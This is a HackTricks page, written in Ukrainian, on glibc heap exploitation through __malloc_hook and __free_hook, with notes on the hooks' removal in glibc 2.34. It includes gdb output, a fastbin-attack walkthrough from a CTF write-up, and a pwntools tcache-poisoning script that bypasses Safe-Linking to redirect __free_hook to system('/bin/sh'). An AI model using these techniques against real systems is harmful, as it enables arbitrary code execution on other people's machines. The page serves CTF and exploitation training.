136 lines
9.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
## **Malloc Hook**
Як ви можете побачити на [Офіційному сайті GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), змінна **`__malloc_hook`** є вказівником, що вказує на **адресу функції, яка буде викликана** щоразу, коли викликається `malloc()`, **збережену в секції даних бібліотеки libc**. Тому, якщо ця адреса буде перезаписана, наприклад, **One Gadget**, і буде викликано `malloc`, то **буде викликано One Gadget**.
Щоб викликати malloc, можна дочекатися, поки програма викличе його, або **викликавши `printf("%10000$c")**, що виділяє занадто багато байтів, змушуючи `libc` викликати malloc для їх виділення в купі.
Більше інформації про One Gadget в:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
> [!WARNING]
> Зверніть увагу, що хуки **вимкнені для GLIBC >= 2.34**. Є інші техніки, які можна використовувати в сучасних версіях GLIBC. Дивіться: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
## Free Hook
Це було зловжито в одному з прикладів на сторінці, зловживаючи атакою швидкого біну після зловживання атакою неупорядкованого біну:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
{{#endref}}
Можливо знайти адресу `__free_hook`, якщо бінарний файл має символи, використовуючи наступну команду:
```bash
gef➤ p &__free_hook
```
[У пості](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) ви можете знайти покрокову інструкцію про те, як знайти адресу free hook без символів. У підсумку, у функції free:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 <free>: push ebx
0xf75dedc1 <free+1>: call 0xf768f625
0xf75dedc6 <free+6>: add ebx,0x14323a
0xf75dedcc <free+12>: sub esp,0x8
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
</strong>0xf75deddb <free+27>: test eax,eax ;<
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
</code></pre>
У вказаній точці зупинки в попередньому коді в `$eax` буде знаходитися адреса free hook.
Тепер виконується **швидка атака на бін**:
- По-перше, виявлено, що можливо працювати з швидкими **частинами розміру 200** в місці **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Якщо нам вдасться отримати швидку частину розміру 0x200 у цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана.
- Для цього створюється нова частина розміру `0xfc`, і об'єднана функція викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнену частину розміру `0xfc*2 = 0x1f8` у швидкому біні.
- Потім викликається функція редагування в цій частині, щоб змінити адресу **`fd`** цієї швидкої біну, щоб вказати на попередню функцію **`__free_hook`**.
- Потім створюється частина розміру `0x1f8`, щоб отримати з швидкого біну попередню непотрібну частину, тому створюється ще одна частина розміру `0x1f8`, щоб отримати швидку частину в **`__free_hook`**, яка перезаписується адресою функції **`system`**.
- І нарешті, частина, що містить рядок `/bin/sh\x00`, звільняється, викликаючи функцію видалення, що викликає функцію **`__free_hook`**, яка вказує на system з `/bin/sh\x00` як параметром.
---
## Отруєння Tcache & Safe-Linking (glibc 2.32 2.33)
glibc 2.32 представив **Safe-Linking** перевірку цілісності, яка захищає *однозв'язні* списки, що використовуються **tcache** та швидкими біном. Замість того, щоб зберігати сирий прямий вказівник (`fd`), ptmalloc тепер зберігає його *обфусцированим* за допомогою наступного макросу:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
Наслідки для експлуатації:
1. **heap leak** є обов'язковим зловмисник повинен знати значення `chunk_addr >> 12` під час виконання, щоб створити дійсний обфусцований вказівник.
2. Можна підробити лише *повний* 8-байтовий вказівник; часткові перезаписи одного байта не пройдуть перевірку.
Мінімальний примітив отруєння tcache, який перезаписує `__free_hook` на glibc 2.32/2.33, виглядає так:
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
Фрагмент вище був адаптований з недавніх CTF викликів, таких як *UIUCTF 2024 «Rusty Pointers»* та *openECSC 2023 «Babyheap G»*, обидва з яких покладалися на обходи Safe-Linking для перезапису `__free_hook`.
---
## Що змінилося в glibc ≥ 2.34?
Починаючи з **glibc 2.34 (серпень 2021)**, хуки виділення пам'яті `__malloc_hook`, `__realloc_hook`, `__memalign_hook` та `__free_hook` були **видалені з публічного API і більше не викликаються аллокатором**. Символи сумісності все ще експортуються для застарілих бінарних файлів, але їх перезапис більше не впливає на контрольний потік `malloc()` або `free()`.
Практичне значення: на сучасних дистрибутивах (Ubuntu 22.04+, Fedora 35+, Debian 12 тощо) ви повинні перейти до *інших* примітивів захоплення (IO-FILE, `__run_exit_handlers`, розпилення vtable тощо), оскільки перезаписи хуків будуть тихо зазнавати невдачі.
Якщо вам все ще потрібна стара поведінка для налагодження, glibc постачає `libc_malloc_debug.so`, який можна попередньо завантажити, щоб знову активувати застарілі хуки але бібліотека **не призначена для виробництва і може зникнути в майбутніх випусках**.
---
## Посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking Усунення 20-річного експлойту malloc() (Check Point Research, 2020)
- примітки до випуску glibc 2.34 видалення хуків malloc
{{#include ../../banners/hacktricks-training.md}}